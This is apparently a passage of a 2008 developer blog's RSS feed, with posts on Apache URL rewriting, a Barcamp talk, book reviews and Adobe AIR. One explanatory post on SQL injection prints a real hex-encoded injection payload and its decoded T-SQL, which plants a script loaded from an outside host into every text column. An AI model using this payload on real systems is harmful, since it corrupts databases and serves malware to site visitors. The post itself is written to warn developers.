<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">LoadModule rewrite_module modules/mod_rewrite.so</pre></div></div>

<p>Change the <code>AllowOverride</code> directive from none to all</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">&lt;directory /&gt;
    Options FollowSymLinks
    AllowOverride all
    Order deny,allow
    Deny from all
&lt;/directory&gt;
&nbsp;
&lt;directory &quot;C:/WebRoot&quot;&gt;
    # Possible values for the Options directive are &quot;None&quot;, &quot;All&quot;,
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that &quot;MultiViews&quot; must be named *explicitly* --- &quot;Options All&quot;
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # http://httpd.apache.org/docs/2.2/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks
&nbsp;
    #
    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be &quot;All&quot;, &quot;None&quot;, or any combination of the keywords:
    #   Options FileInfo AuthConfig Limit
    #
    AllowOverride All
&nbsp;
    #
    # Controls who can get stuff from this server.
    #
    Order allow,deny
    Allow from all
&lt;/directory&gt;</pre></div></div>

<p>On Apache webservers, <code>.htaccess</code> (hypertext access) is the default name of directory-level configuration files. An <code>.htaccess</code> file is placed in a particular directory, and the directives in the <code>.htaccess</code> file apply to that directory, and all its subdirectories. It provides the ability to customize configuration for requests to the particular directory. In our case, enabling search engine safe (<abbr title="search engine safe">SES</abbr>) <abbr title="Universal Resource Locator">URL</abbr>s.</p>
<p>By setting the <code>AllowOverride</code> directive to <q>All</q> in effect defers configuration settings to the <code>.htaccess</code> file.</p>
<p>An example <code>.htaccess</code> file could include the following code to rewrite the URLs:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [L,QSA]</pre></div></div>

<p>Search engine friendly <abbr title="Universal Resource Locator">URL</abbr>s are implemented with Rewrite engines. The rewrite engine modifies the <abbr title="Universal Resource Locator">URL</abbr> based upon a number of rewrite conditions and rules.</p>
<p>The <code>RewriteBase</code> directive explicitly sets the base <abbr title="Universal Resource Locator">URL</abbr> for per-directory rewrites. The <code>RewriteCond</code> directive defines a rule condition, so in this case handling missing files or directories. Finally, the <code>RewriteRule</code> directive is the real rewriting workhorse. In this example, we&#8217;re getting everything in the <abbr title="Uniform Resource Identifier">URI</abbr> &#8212; i.e. not including the protocol (HTTP/S) and domain name &#8212; based upon a regular expression. This is then appended to the default file reference &#8212; index.php &#8212; as a <a href="http://www.regular-expressions.info/brackets.html" title="Regular Expression: back references" target="_blank" rel="nofollow">back reference</a>. The <code>[L,QSA]</code> refers to the rule being the last rule and append any query string parameters to the default file. It is important to note that this is all done on the server side, the user will never see the website address changing in the browser&#8217;s address bar. Furthermore, simply transposing the index.php filename with your default file name &#8212; e.g. index.cfm, default.aspx &#8212; will have the same result. Indeed, the above rewrite rules are becoming a de-facto standard for web applications.</p>
<p>To fully understand <code>mod_rewrite</code> rules above, look at the <a href="http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html" title="Apache mod_rewrite documentation" target="_blank" rel="nofollow">Apache mod_rewrite documentation</a>.</p>
<p>Once you have your <abbr title="Search Engine Safe">SES</abbr> functionality in place on the webserver, it is then the responsibility of your application framework to understand the <abbr title="Universal Resource Locator">URL</abbr> construction and handle it accordingly. Fortunately, frameworks such as <a href="http://www.coldboxframework.com" title="ColdBox Framework" target="_blank" rel="nofollow">ColdBox</a> and <a href="http://www.fusebox.org" title="Fusebox Framework" target="_blank" rel="nofollow" >Fusebox</a> for ColdFusion, <a href="http://framework.zend.com" title="Zend PHP framework" target="_blank" rel="nofollow">Zend</a> and <a href="http://www.symfony-project.com" title="Symfony PHP fraemwork" target="_blank" rel="nofollow">Symfony</a> for <abbr title="PHP Hypertext Precursor">PHP</abbr>, all contain functionality to do this, but that is the subject of an entirely different post.</p>
<p>Users of web applications prefer short, neat <abbr title="Universal Resource Locator">URL</abbr>s to raw query string parameters. A concise <abbr title="Universal Resource Locator">URL</abbr> is easy to remember, and less time-consuming to type in. If the <abbr title="Universal Resource Locator">URL</abbr> can be made to relate clearly to the content of the page, then errors are not only less likely to happen, but our good friends the search engine robots are able to draw a stronger assumption of the pages&#8217; relevance and content.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/enabling-search-engine-safe-urls-with-apache-and-htaccess/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Talking QR.app at Barcamp Brighton 3</title>
		<link>http://www.simonwhatley.co.uk/talking-qrapp-at-barcamp-brighton-3</link>
		<comments>http://www.simonwhatley.co.uk/talking-qrapp-at-barcamp-brighton-3#comments</comments>
		<pubDate>Thu, 11 Sep 2008 09:12:37 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[1d]]></category>
		<category><![CDATA[2d]]></category>
		<category><![CDATA[Aral Balkan]]></category>
		<category><![CDATA[Barcamp]]></category>
		<category><![CDATA[barcodes]]></category>
		<category><![CDATA[Brighton]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[datamatrix]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[Jeremy Keith]]></category>
		<category><![CDATA[Jerome Ribot]]></category>
		<category><![CDATA[macro]]></category>
		<category><![CDATA[Mark Wudden]]></category>
		<category><![CDATA[maxicode]]></category>
		<category><![CDATA[Miscellaneous]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[mobile tagging]]></category>
		<category><![CDATA[open source technologies]]></category>
		<category><![CDATA[phone]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[QRcode]]></category>
		<category><![CDATA[Rob Douglas]]></category>
		<category><![CDATA[social protocols]]></category>
		<category><![CDATA[Tantek Celik]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[web-gliterati]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=1113</guid>
		<description><![CDATA[Last weekend I attended Barcamp Brighton 3. For the uninitiated like me, a BarCamp is an international network of user generated conferences — open, participatory workshop-events, whose content is provided by participants — often focusing on early-stage web applications, and related open source technologies, social protocols, and open data formats.]]></description>
			<content:encoded><![CDATA[<p>Last weekend I attended <a href="http://barcampbrighton.org/" title="Barcamp Brighton" target="_blank" rel="nofollow">Barcamp Brighton 3</a>. For the uninitiated like me, a BarCamp is an international network of user generated conferences &#8212; open, participatory workshop-events, whose content is provided by participants &#8212; often focusing on early-stage web applications, and related open source technologies, social protocols, and open data formats.</p>
<p>Barcamp Brighton was a great event, attended by some of the web-gliterati: <a href="http://adactio.com/" title="Adactio: Jeremy Keith" target="_blank" rel="nofollow">Jeremy Keith</a>, <a href="http://aralbalkan.com/" title="Aral Balkan" target="_blank" rel="nofollow">Aral Balkan</a>, <a href="http://tantek.com/" title="Tantek Celik" target="_blank" rel="nofollow">Tantek Celik</a>, <a href="http://ribot.co.uk/" title="Jerome Ribot" target="_blank" rel="nofollow">Jerome Ribot</a> and <a href="http://supercollider.dk/" title="Mark Wudden" target="_blank" rel="nofollow">Mark Wudden</a> to name but five I was lucky to converse with. That&#8217;s not to say the other attendees were any less significant. It was everyone who made the event great.</p>
<p>As you may have observed from the title of this post, I presented a talk, along with my good friend <a href="http://www.anucreative.com" title="anu.creative's website" target="_blank" rel="nofollow">Rob Douglas</a>, titled <q>Talking QR.app</q>.</p>
<p>The presentation can be viewed below, or via the <a href="http://app.sliderocket.com/app/FullPlayer.aspx?id=EB6F5301-5A9F-7AAD-9EEE-39BFA2524847" title="Talking QR.app presentation">SlideRocket website</a>.</p>
<p><embed src="http://data.sliderocket.com/SlideRocketPlayer.swf" flashvars="id=EB6F5301-5A9F-7AAD-9EEE-39BFA2524847" width="400" height="300" allowFullScreen="true" type="application/x-shockwave-flash"></embed></p>
<p>I have also bookmarked a number of <a href="http://delicious.com/whatterz/qrcode" title="QR-code bookmarks" target="_blank" rel="nofollow">QR-code links</a> on Delicious.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/talking-qrapp-at-barcamp-brighton-3/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>What is a SQL Injection Attack</title>
		<link>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack</link>
		<comments>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack#comments</comments>
		<pubDate>Wed, 13 Aug 2008 13:09:45 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[malicious web users]]></category>
		<category><![CDATA[North Korea]]></category>
		<category><![CDATA[online world]]></category>
		<category><![CDATA[Russia]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[T]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=812</guid>
		<description><![CDATA[Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very Jack Bauer, but we are increasingly seening ‘SQL injection attacks’ eminating from countries such as Russia, China and North Korea. Of course, that doesn’t mean our countries aren’t doing the same in return, but we only see the results from foreign-based attacks.]]></description>
			<content:encoded><![CDATA[<p>Over the past few weeks, subversive elements in the international arena have decided that attacking websites is a fun thing to do! The online world has become the new battle ground between nations vying to de-stabilise rivals. This may seem all very <a href="http://en.wikipedia.org/wiki/Jack_Bauer" title="Wikipedia: Jack Bauer" target="_blank" rel="nofollow">Jack Bauer</a>, but we are increasingly seeing &#8216;<acronym title="Structured Query Language">SQL</acronym> injection attacks&#8217; eminating from countries such as Russia, China and North Korea. Of course, that doesn&#8217;t mean our countries aren&#8217;t doing the same in return, but we only see the results from foreign-based attacks.</p>
<h3>What is a SQL Injection Attack?</h3>
<p><a href="http://en.wikipedia.org/wiki/SQL_injection" title="Wikipedia: SQL Injection" target="_blank" rel="nofollow">SQL Injection</a> is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Real World Example</h3>
<p><acronym title="Structured Query Language">SQL</acronym> Injection attacks are commonly associated with a technique called <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" title="Wikipedia: Cross-Site Scripting" target="_blank" rel="nofollow">Cross-Site Scripting</a> (<abbr title="Cross-Site Scripting">XSS</abbr>). <abbr title="Cross-Site Scripting">XSS</abbr> is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users.</p>
<p>In reality, what does this look like?</p>
<p>The following is a legitimate URL that may be navigated to by the user agent:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://www.domain.com/folderName/fileName.cfm?variable1=0&amp;variable2=4241</pre></div></div>

<p>The following is a hacked URL:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">http://www.domain.com/folderName/filename.cfm?
variable1=0&amp;variable2=4241;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C41524520405420766172636861722
8323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F522
0464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C7
56D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479706
53D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204
F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E5
44F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065786563282775706461746
5205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697
074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272720776
865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D226874747
03A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204
6524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736
F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);</pre></div></div>

<p>The code appended to the <abbr title="Universal Resource Locator">URL</abbr> is hexadecimal. This can be interpreted by the <acronym title="Structured Query Language">SQL</acronym> engine. When the hexadecimal string is decoded by the <acronym title="Structured Query Language">SQL</acronym> server, the <acronym title="Structured Query Language">SQL</acronym> code generated looks similar to the following:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR SELECT a.name,b.name from sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''&quot;&gt;&lt;/title&gt;
&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--''
where '+@C+' not like ''%&quot;&gt;&lt;/title&gt;
&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor</pre></div></div>

<p>Somewhat unhelpfully, if the user credentials used to access the database have access to the system tables of your database, the <acronym title="Structured Query Language">SQL</acronym> injection attack will be able to interrogate those system tables and determine the structure of your database. The result, of the above example, is that the following code is injected into every string-based column in every table.</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">&lt;/title&gt;&lt;script src=&quot;http://1.verynx.cn/w.js&quot;&gt;&lt;/script&gt;&lt;!--</pre></div></div>

<p>To put it simply, this is <em>very bad news</em>!</p>
<h3>ColdFusion-hacking is Popularised</h3>
<p>ColdFusion-based sites are by no means immune to this international &#8216;information war&#8217;. The popularity of attacks on ColdFusion-based websites can be summarised by the fact that an article was featured on <a href="http://www.0x000000.com/?i=610" title="0x000000.com - The Hacker Webzine">The Hacker Webzine</a> recently, detailing how to implement a successful attack.</p>
<h3>How to &#8216;Fix&#8217; the Problem</h3>
<p>As ColdFusion developers we not only need to be aware of the problem, we need to also know how to fix the problem and mitigate against an attack before it even happens.</p>
<p>In my next post, I will discuss how to fix a <acronym title="Structured Query Language">SQL</acronym> injection attack.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/what-is-a-sql-injection-attack/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Learning the Yahoo! User Interface Library &#8211; Book Review</title>
		<link>http://www.simonwhatley.co.uk/learning-the-yahoo-user-interface-library</link>
		<comments>http://www.simonwhatley.co.uk/learning-the-yahoo-user-interface-library#comments</comments>
		<pubDate>Tue, 10 Jun 2008 22:51:57 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[animation]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[Berkeley Software Distribution]]></category>
		<category><![CDATA[Books]]></category>
		<category><![CDATA[BSD license]]></category>
		<category><![CDATA[cascading style sheets]]></category>
		<category><![CDATA[cross browser]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Dan Wellman]]></category>
		<category><![CDATA[DHTML]]></category>
		<category><![CDATA[document object model]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML & XHTML]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[interactive web applications]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[king]]></category>
		<category><![CDATA[library]]></category>
		<category><![CDATA[mootools]]></category>
		<category><![CDATA[pains]]></category>
		<category><![CDATA[Publications]]></category>
		<category><![CDATA[rich]]></category>
		<category><![CDATA[The Yahoo! User Interface Library]]></category>
		<category><![CDATA[UI]]></category>
		<category><![CDATA[User Interface Library]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[Yahoo]]></category>
		<category><![CDATA[Yahoo user interface]]></category>
		<category><![CDATA[YUI Library]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=580</guid>
		<description><![CDATA[The Yahoo! User Interface (YUI) Library is a set of utilities and controls, written in JavaScript, for building richly interactive web applications using techniques such as DOM scripting, DHTML, and AJAX. The library sits comfortably amongst its peers, which, amongst many others, include Prototype, jQuery and Mootools. Arguably it can be said that the YUI library is the king among the JavaScript and CSS-libraries. With a vast number of well documented examples and near 100% compatibility amongst modern browsers, it would be difficult to find a comparable library.]]></description>
			<content:encoded><![CDATA[<p>by Dan Wellman</p>
<h3>Synopsis</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/05/learning-yahoo-user-interface-library.thumbnail.jpg' alt='Learning the Yahoo! User Interface Library book cover' style="margin-right:5px; float:left;" />The Yahoo! User Interface (<abbr title="Yahoo! User Interface">YUI</abbr>) Library is a set of utilities and controls, written in JavaScript, for building richly interactive web applications using techniques such as <abbr title="Document Object Model">DOM</abbr> scripting, <abbr title="Dynamic HyperText Markup Language">DHTML</abbr>, and <abbr title="Asynchronous JavaScript and XML">AJAX</abbr>. The <abbr title="Yahoo! User Interface">YUI</abbr> Library also includes several core <abbr title="Cascading Stylesheet">CSS</abbr> resources. All components in the <abbr title="Yahoo! User Interface">YUI</abbr> Library have been released as open source under a <a href="http://developer.yahoo.com/yui/license.html" title="BSD License" target="_blank" rel="nofollow">BSD License</a> and are free for all uses.</p>
<p>This book covers all released components whether utility, control, core file, or <abbr title="Cascading Stylesheet">CSS</abbr> tool. Methods of the YAHOO Global Object are used and discussed throughout the book. The basics of each control are presented, along with a detailed example showing its use to create complex, fully featured, cross-browser, <a href="http://en.wikipedia.org/Web_2" title="Web 2.0" target="_blank" rel="nofollow">Web 2.0</a> user interfaces.</p>
<p>Besides giving you a deep understand of the <abbr title="Yahoo! User Interface">YUI</abbr> library, this book aims to expand your knowledge of object-oriented JavaScript programming, as well as strengthen your understanding of the <abbr title="Document Object Model">DOM</abbr> and <abbr title="Cascading Stylesheet">CSS</abbr>.</p>
<p>The core aim is to teach you how to create a number of powerful JavaScript controls that can be used straight away in your own applications.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Download</h3>
<p><a href="http://developer.yahoo.com/yui/download/" title="Download the YUI Library" target="_blank" rel="nofollow">Download the latest YUI version</a>, including <a href="http://developer.yahoo.com/yui/docs/" title="YUI API Documentation" target="_blank" rel="nofollow">full API documentation</a> and more than <a href="http://developer.yahoo.com/yui/examples/" title="YUI Examples" target="_blank" rel="nofollow">250 functional examples</a> from Sourceforge.</p>
<p>The library&#8217;s developers blog frequently at the <a href="http://yuiblog.com/" title="YUI Blog" target="_blank" rel="nofollow">YUI Blog</a> and the <abbr title="Yahoo User Interface">YUI</abbr> Library community exchanges ideas at <a href="http://groups.yahoo.com/group/ydn-javascript" title="YDN-JavaScript on Yahoo! Groups" target="_blank" rel="nofollow">YDN-JavaScript on Yahoo! Groups</a>.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Book Review</h3>
<p>The Yahoo! User Interface Library sits comfortably amongst its peers, which, along with many others, include Prototype, jQuery and Mootools. Arguably it can be said that the <abbr title="Yahoo! User Interface">YUI</abbr> library is the king among the JavaScript and <abbr title="Cascading Stylesheet">CSS</abbr>-libraries. With a vast number of well documented examples and near 100% compatibility amongst modern browsers, it would be difficult to find a comparable library.</p>
<p>It is one thing to be a well documented library, but it is another to know how to use the libraries to construct a user interface. This is the niche Dan Wellman fills with his book. Although not necessarily for the beginner, since you need a knowledge of <abbr title="Cascading Stylesheet">CSS</abbr>, JavaScript and a little <abbr title="Asynchronous JavaScript and XML">AJAX</abbr>, Wellman does a good job of explaining the concepts, especially <abbr title="Asynchronous JavaScript and XML">AJAX</abbr>, from scratch.</p>
<p>Wellman provides an A-to-Z of the library and assumes, rightly, that the reader has little or no knowledge of the library. To that effect, he does a long introduction of the <abbr title="Yahoo! User Interface">YUI</abbr>, following an overall review of its components, listing them in the first chapter. He then picks up a selection of some of the most established utilities, for example navigation, animation and <abbr title="Asynchronous JavaScript and XML">AJAX</abbr> utilities and in the following chapters he covers one or two examples for each of them.</p>
<p>Importantly, the book teaches the reader how to not only use the DOM manipulation and event handling aspects of the library, but also the <abbr title="Cascading Stylesheet">CSS</abbr> tools of the library.</p>
<p>Wellman does a good job of introducing the technical aspects at the beginning of each chapter, but not dwelling too long before moving on to real usage and methods.</p>
<p>What I would have liked to have seen is more interaction between different components written about in the book. Clearly building a fully-featured application that incorporates most or all of the key components would be unweildy, but individual and isolated examples doesn&#8217;t equate real-world scenarios either. For example, it is quite conceivable that autocomplete and drag-and-drop components would be utilised on the same page; it would have been good if Wellman had explained the pains or pitfalls that may be encountered with such combinations. The negativity aside, the examples are of a good quality.</p>
<p>The book does contain a number of errors, but since this is the first edition you can probably forgive the editors from missing them.</p>
<p>A major gripe I have with this book, indeed all technical books is the lack of colour throughout. It is far easier to read and understand the example code when code colouring is employed, allowing for easier understanding of the key elements in the code. Surely modern publishing techniques can mitigate against the extra cost of colour. Indeed, I would pay more for a well-written coloured technical book.</p>
<p>A great summary chapter on graceful degredation versus progressive enhancement would also have been welcomed, since many developers may not consider the usability and accessibility issues of using JavaScript.</p>
<p>This book is certainly a good read for anyone who has basic knowledge of JavaScript, <abbr title="HyperText Markup Language">HTML</abbr> and <abbr title="Cascading Stylesheet">CSS</abbr> and who wants to learn how to apply the YUI library in their projects, making them more interactive for the user.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/learning-the-yahoo-user-interface-library/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe AIR for JavaScript Developers &#8211; O&#039;Reilly Pocket Guide</title>
		<link>http://www.simonwhatley.co.uk/adobe-air-for-javascript-developers</link>
		<comments>http://www.simonwhatley.co.uk/adobe-air-for-javascript-developers#comments</comments>
		<pubDate>Fri, 18 Apr 2008 11:24:16 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Adobe Integrated Runtime]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[command line tools]]></category>
		<category><![CDATA[Developer Library]]></category>
		<category><![CDATA[developers]]></category>
		<category><![CDATA[development technology]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML & XHTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[London]]></category>
		<category><![CDATA[Mike Chambers]]></category>
		<category><![CDATA[O'Reilly]]></category>
		<category><![CDATA[official guide]]></category>
		<category><![CDATA[pocket guide]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[web developers]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=550</guid>
		<description><![CDATA[Mike Chambers announced at the onAIR tour London event last week that he would be releasing an electronic version of the Adobe AIR for JavaScript Developers pocket book, by the publishers Oâ€™Reilly, under Creative Commons licence terms. Well, good to his word, you can download the pocket reference from the Adobe onAIR website.]]></description>
			<content:encoded><![CDATA[<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/04/adobe-air-for-javascript-developers.thumbnail.jpg' alt='Adobe AIR for JavaScript Developers' style="float:left; margin-right:5px;" />Mike Chambers announced at the <a href="http://onair.adobe.com/" title="OnAIR tour" target="_blank" rel="nofollow">onAIR tour</a> London event last week that he would be releasing an electronic version of the Adobe AIR for JavaScript Developers pocket book, by the publishers O&#8217;Reilly, under Creative Commons licence terms. Well, good to his word, you can <a href="http://onair.adobe.com/files/AIRforJSDevPocketGuide.pdf" title="Adobe AIR for JavaScript Developers" target="_blank" rel="nofollow">download the pocket reference</a> from the Adobe onAIR website.</p>
<p>This book is the official guide to Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym>, written by members of the <acronym title="Adobe Integrated Runtime">AIR</acronym> team. With Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym>, web developers can use technologies like <acronym title="HyperText Markup language">HTML</acronym> and JavaScript to build and deploy web applications to the desktop. Packed with examples, this book explains how <acronym title="Adobe Integrated Runtime">AIR</acronym> works and features recipes for performing common runtime tasks. Part of the Adobe Developer Library, this concise pocket guide explains:</p>
<ul>
<li>What Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym> is, and the problems this runtime aims to solve</li>
<li>How to set up your development environment</li>
<li>The HTML and JavaScript environments within <acronym title="Adobe Integrated Runtime">AIR</acronym></li>
<li>How to create your first <acronym title="Adobe Integrated Runtime">AIR</acronym> application using <acronym title="HyperText Markup language">HTML</acronym> and JavaScript</li>
<li>Ways to perform an array of common tasks with this runtime</li>
</ul>
<p>Also included is a guide to <acronym title="Adobe Integrated Runtime">AIR</acronym> packages, classes, and command line tools. Once you understand the basics of building <acronym title="HyperText Markup language">HTML</acronym>- and JavaScript-based <acronym title="Adobe Integrated Runtime">AIR</acronym> applications, this book makes an ideal reference for tackling specific problems. It offers a quick introduction to a significant new development technology, which lets you combine the reach and ease of the Web with the power of the desktop.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/adobe-air-for-javascript-developers/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More Than Just Hot AIR &#8211; Single Site Browsers</title>
		<link>http://www.simonwhatley.co.uk/more-than-just-hot-air-single-site-browsers</link>
		<comments>http://www.simonwhatley.co.uk/more-than-just-hot-air-single-site-browsers#comments</comments>
		<pubDate>Wed, 09 Apr 2008 09:11:13 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[3D graphics]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Adobe Integrated Runtime]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Alex Graveley]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[auto-software updates]]></category>
		<category><![CDATA[Bubbles]]></category>
		<category><![CDATA[Chris Toshok]]></category>
		<category><![CDATA[clever little tools]]></category>
		<category><![CDATA[control device]]></category>
		<category><![CDATA[default web browser]]></category>
		<category><![CDATA[desktop applications]]></category>
		<category><![CDATA[desktop computing]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Flash player for development]]></category>
		<category><![CDATA[Fluid]]></category>
